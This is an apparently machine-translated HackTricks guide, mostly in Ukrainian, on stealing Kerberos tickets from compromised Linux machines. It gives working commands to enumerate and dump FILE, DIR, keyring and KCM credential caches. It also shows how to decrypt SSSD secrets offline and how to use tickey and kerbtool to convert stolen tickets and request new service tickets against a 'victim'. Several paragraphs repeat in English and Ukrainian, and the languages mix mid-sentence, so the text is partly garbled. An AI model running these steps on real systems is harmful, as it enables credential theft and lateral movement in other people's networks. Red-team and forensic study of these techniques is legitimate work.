Збирання квитків з Linux
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Зберігання облікових даних у Linux
Системи Linux зберігають облікові дані в трьох типах кешів, а саме Files (у директорії /tmp), Kernel Keyrings (спеціальний сегмент у ядрі Linux) та Process Memory (для використання одним процесом). Змінна default_ccache_name у /etc/krb5.conf показує тип сховища; якщо не вказано, за замовчуванням це FILE:/tmp/krb5cc_%{uid}.
MIT/Heimdal також підтримують додаткові бекенди, на які варто звернути увагу під час post-exploitation:
DIR:/run/user/%{uid}/krb5ccдля кешів з кількома квитками, що зберігаються в директорії (systemd-logind за замовчуванням у сучасних дистрибутивах).KEYRING:persistent:%{uid}абоKEYRING:sessionдля збереження ccaches у kernel keyring (KEY_SPEC_SESSION_KEYRING,KEY_SPEC_USER_KEYRINGтощо).KCM:%{uid}коли SSSD’s Kerberos Cache Manager daemon (kcm) відповідає за зберігання квитків.MEMORY:unique_idдля кешів, локальних для процесу, створених бібліотеками (gssproxy,sshdтощо).
Щоразу, коли ви отримуєте shell, витягніть значення KRB5CCNAME з /proc/<pid>/environ цікавих демонів (наприклад, Apache, sshd, gssproxy), щоб дізнатися, який backend кешу використовується перед початком копіювання файлів.
Перерахування активних кешів
Перерахуйте кеші перед витягом, щоб не пропустити квитки з високою цінністю:
$ klist -l # list caches registered in the local keyring/KCM
$ klist -A # show all ticket-granting tickets in the current cache
$ sudo keyctl get_persistent @u
$ sudo keyctl show `keyctl get_persistent @u`
$ sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc*
$ sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \;
The combination of klist, keyctl, and /proc inspection quickly reveals whether credentials live in files, keyrings, or KCM so you can pick the right dumping technique.
Вилучення облікових даних
The 2017 paper, Kerberos Credential Thievery (GNU/Linux), описує методи вилучення облікових даних з keyrings і процесів, наголошуючи на механізмі keyring ядра Linux для управління та зберігання ключів.
Огляд витягання з Keyring
Системний виклик keyctl, представлений у версії ядра 2.6.10, дозволяє програмам користувацького простору взаємодіяти з kernel keyrings. Облікові дані в keyrings зберігаються як компоненти (default principal і credentials), відмінні від файлових ccaches, які також містять заголовок. Скрипт hercules.sh з цієї статті демонструє витяг і реконструкцію цих компонентів у придатний файловий ccache для викрадення облікових даних. Пам’ятайте, що ccaches, що зберігаються в keyring, можуть знаходитися під KEYRING:persistent:%{uid} (постійно між входами), KEYRING:session (очищається при виході) або навіть KEY_SPEC_THREAD_KEYRING для сервісів, що створюють допоміжні потоки — тому завжди перераховуйте всі типи keyring для скомпрометованого UID.
Ручний KEYRING робочий процес
You can manually harvest tickets without helper scripts whenever default_ccache_name is set to KEYRING::
$ KRING=$(keyctl get_persistent @u)
$ keyctl show $KRING # note the key serial of each ccache blob
$ keyctl pipe <serial> > /tmp/ccache_dump # write raw blob to disk
$ KRB5CCNAME=/tmp/ccache_dump klist # validate the stolen cache
Якщо збережено кілька principals, повторіть крок keyctl pipe для кожного serial, потім конвертуйте витягнутий ccache у сумісний з Windows формат .kirbi/.ccache за допомогою інструментів, таких як kerbtool (див. нижче) або ticketConverter.py перед тим, як відтворювати його з інших машин.
File/DIR Cache Theft — Швидкі перемоги
Коли облікові дані збережено як FILE: або DIR: кеші, зазвичай достатньо простих операцій з файлами:
$ sudo cp /tmp/krb5cc_1000 /tmp/websvc.ccache
$ sudo cp -r /run/user/1000/krb5cc /tmp/user1000_dircc
$ chmod 600 /tmp/*.ccache && chown attacker /tmp/*.ccache
Каталожні кеші містять один файл на кожен сервісний квиток, тому стисніть і ексфільтруйте весь каталог, щоб зберегти пари TGT + TGS. Також можна вказати інструментам напряму цей каталог: KRB5CCNAME=DIR:/tmp/user1000_dircc impacket-psexec ....
Вивантаження кешів, керованих KCM
SSSD’s Kerberos Cache Manager (kcm) проксує збереження облікових даних через /var/run/kcm/kcmsock (або /run/.heim_org.h5l.kcm-socket) і зберігає зашифровані блоби в /var/lib/sss/secrets/ разом із .secrets.mkey. Послідовність атаки:
- Визначте використання KCM через
/etc/krb5.conf(default_ccache_name = KCM:) або вивідklist -l. - Якщо ви маєте UID 0 або належите до SELinux-домену
kcm, перелічте кеші за допомогою інструмента керування:
$ sudo kcm_ctl list # lists UID + cache IDs handled by kcm
$ sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache
$ KRB5CCNAME=/tmp/1000.kcm.ccache klist
- Offline approach: copy
/var/lib/sss/secrets/secrets.ldbplus/var/lib/sss/secrets/.secrets.mkey, then runSSSDKCMExtractor(or similar PoCs) to decrypt and reassemble ccaches without touching the live socket. This is especially useful in forensics or when socket ACLs block you but disk access is possible.
Офлайн-підхід: скопіюйте /var/lib/sss/secrets/secrets.ldb та /var/lib/sss/secrets/.secrets.mkey, після чого запустіть SSSDKCMExtractor (або подібні PoC) для розшифрування та відновлення ccaches без звертання до живого сокета. Це особливо корисно у судово-експертних розслідуваннях або коли ACL сокета блокують доступ, але доступ до диска можливий.
Because the kcm daemon honors UID-based ACLs enforced by SSSD, privilege escalation to root (or compromising sssd_kcm) is usually required, but once achieved you can dump every user’s TGT in seconds.
Оскільки kcm daemon дотримується ACL на основі UID, які застосовує SSSD, зазвичай потрібне підвищення привілеїв до root (або компрометація sssd_kcm), але після цього ви можете здійснити дамп TGT кожного користувача за лічені секунди.
Ticket Extraction Tooling
Автоматизація наведених вище кроків зменшує кількість помилок і дає міжплатформовий матеріал ticket-ів, який можна відтворити за допомогою Windows tooling.
Tickey
Building on the principles of the hercules.sh script, the tickey tool is specifically designed for extracting tickets from keyrings, executed via /tmp/tickey -i. It enumerates kernel keyrings, reconstructs the serialized ccaches, and writes MIT-compatible cache files you can immediately feed to klist, impacket-*, or kerberoast tooling.
Спираючись на принципи скрипту hercules.sh, інструмент tickey спеціально призначений для витягання tickets із keyrings, запускається через /tmp/tickey -i. Він перераховує kernel keyrings, реконструює серіалізовані ccaches і записує MIT-сумісні файли кешу, які ви можете одразу підкинути в klist, impacket-* або kerberoast tooling.
Kerbtool
kerbtool is a modern Go utility that runs natively on Linux and can parse, convert, and request Kerberos tickets. Two handy use cases when harvesting from Linux boxes:
kerbtool — сучасна утиліта на Go, яка нативно працює на Linux і може парсити, конвертувати та запитувати Kerberos tickets. Два корисних сценарії використання при зборі з Linux-машин:
# Convert a stolen MIT ccache into a .kirbi usable by Windows tooling
$ ./kerbtool --convert --in /tmp/websvc.ccache --out websvc.kirbi
# Use an extracted cache to request additional TGS tickets without touching the victim again
$ KRB5CCNAME=/tmp/websvc.ccache ./kerbtool --ask --spn cifs/fileserver.lab.local
Наявність як tickey, так і kerbtool на вашому implant host дозволяє безперешкодно переміщатися між Linux, Windows та cross-platform Kerberos attack chains.
Посилання
- https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
- https://docs.pagure.org/sssd.sssd/design_pages/kcm.html
- https://github.com/jfjallid/kerbtool
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


